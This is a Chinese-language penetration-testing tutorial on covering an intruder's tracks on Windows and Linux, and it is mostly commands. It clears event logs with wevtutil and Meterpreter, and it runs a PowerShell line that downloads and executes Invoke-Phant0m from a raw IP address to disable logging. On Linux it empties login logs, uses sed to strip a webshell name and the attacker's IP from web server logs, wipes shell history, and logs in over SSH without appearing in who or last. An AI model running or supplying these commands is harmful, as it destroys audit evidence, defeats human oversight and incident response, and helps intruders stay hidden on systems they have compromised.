痕迹清除

痕迹清除简介

在渗透测试过程中,Windows日志往往会记录系统上的敏感操作,如添加用户,远程登录,执行命令等。攻击者通常会对Windows日志进行清除和绕过。

Windows痕迹清除

Windows日志

  • 如何查看

事件查看器 -> windows日志

1
2
win + r
eventvwr.msc
  • 保存路径
1
2
3
C:\Windows\System32\winevt\Logs\

%systemroot%\System32\winevt\Logs\
  • 包括五个类别:应用程序、安全、Setup、系统、转发事件

image-20231009162641298

1
powershell -c "Get-WinEvent -FilterHashtable @{logname='Application';}"

系统日志:System

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。

应用程序日志:Application

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志 中记录文件错误,程序开发人员可以自行决定监视哪些事件。

安全日志:Security

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、 策略变更、系统事件。安全日志也是调查取证中最常用到的日志。

https://github.com/Bypass007/Emergency-Response-Notes/blob/master/第02章:日志分析篇/第1篇:Windows日志分析.md

Windows日志清理

wevtutil.exe:用于检索有关事件日志和发布者的信息,安装和卸载事件清单,运行查询以及导出、存档和清除日志。

1
2
3
4
5
6
7
8
# 查看指定类别的日志内容
wevtutil qe Application /f:text

# 删除该类日志所有内容
wevtutil cl security
wevtutil cl system
wevtutil cl application
wevtutil cl "windows powershell"

Meterpreter清理日志

  • 删除所有在渗透过程中使用的工具
  • 删除之前添加的账号:net user username /del
  • 删除应用程序、系统和安全模块日志:clearev
  • 关闭所有的Meterpreter连接:sessions -K

image-20231009164327977

  • 查看事件日志:run event_manager -i

image-20231009164341678

  • 删除事件日志:run event_manager -c

image-20231009164359908

停止日志记录

利用脚本让日志功能失效,无法记录日志。

1
powershell "IEX(new-object system.net.webclient).downloadstring('http://47.101.214.85:8000/Invoke-Phant0m.ps1');Invoke-Phant0m"

https://github.com/hlldz/Invoke-Phant0m

eventlog对应的svchost进程结束,重新开启Windows Event Log服务,即可恢复日志记录

image-20231009170015738

image-20231009170059898

Linux痕迹清除

登录日志

ssh远程登录会产生登录日志

1
2
3
4
5
命令 		日志文件 			描述
last /var/log/wtmp 所有成功登录/登出的历史记录
lastb /var/log/btmp 登录失败尝试记录
lastlog /var/log/lastlog 最近登录记录
w,who /var/run/utmp 记录当前登录的每个用户的信息,它只保留当时连接的用户记录,不会为用户保留永久的记录

命令的输出包括:登录名,上次登录时间,IP地址,端口等。

登录日志清理

last等日志是二进制文件,无法直接修改。所以清除的最简单方式是清空日志文件本身。

清空lastb对应的/var/log/btmp文件需要root权限

1
2
3
/var/log/wtmp
/var/log/btmp
/var/log/lastlog

WEB日志清理

1
2
3
/var/log/httpd/access.log
/var/log/nginx/access.log
……

image-20231009170550758

WEB日志清理

通过HTTP协议访问连接程序的WEB容器时,会记录对应的访问日志,因此需要清理容器的日志。如tomcat日志,IIS日志。

1
2
3
4
5
6
7
8
9
10
11
/var/log/httpd/access.log
/var/log/nginx/access.log

cat /var/log/nginx/access.log | grep -v shell.php > /tmp/a.log
cat /tmp/a.log > /var/log/nginx/access.log

sed -i -e '/shell.php/d' /var/log/httpd/access.log
sed -i -e '/123\.123\.123\.123/d' /var/log/httpd/access.log

第一条删除所有包含shell.php这个字符串的行
第二条删除包含123.123.123.123这个字符串(我们自己的IP)的行

定时任务

/var/log/cron:记录了系统定时任务相关的日志

secure日志

/var/log/secure:记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中。

操作历史记录

1
2
3
4
5
6
7
history:显示历史记录
~/.bash_history:历史记录文件

删除全部历史记录:history –w && history –c && > .bash_history
删除指定行的历史记录:history -d 111
备份还原历史记录:cp .bash_history his.txt
删除100行以后的历史记录:sed -i "100,$d" .bash_history

隐藏历史记录

1
2
3
4
5
开启无痕模式,禁用命令历史记录功能。
set +o history

恢复
set -o history

SSH隐身登录

隐身登录系统,不会被last、who、w等指令检测到

1
2
ssh -T user@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if

image-20231009170757250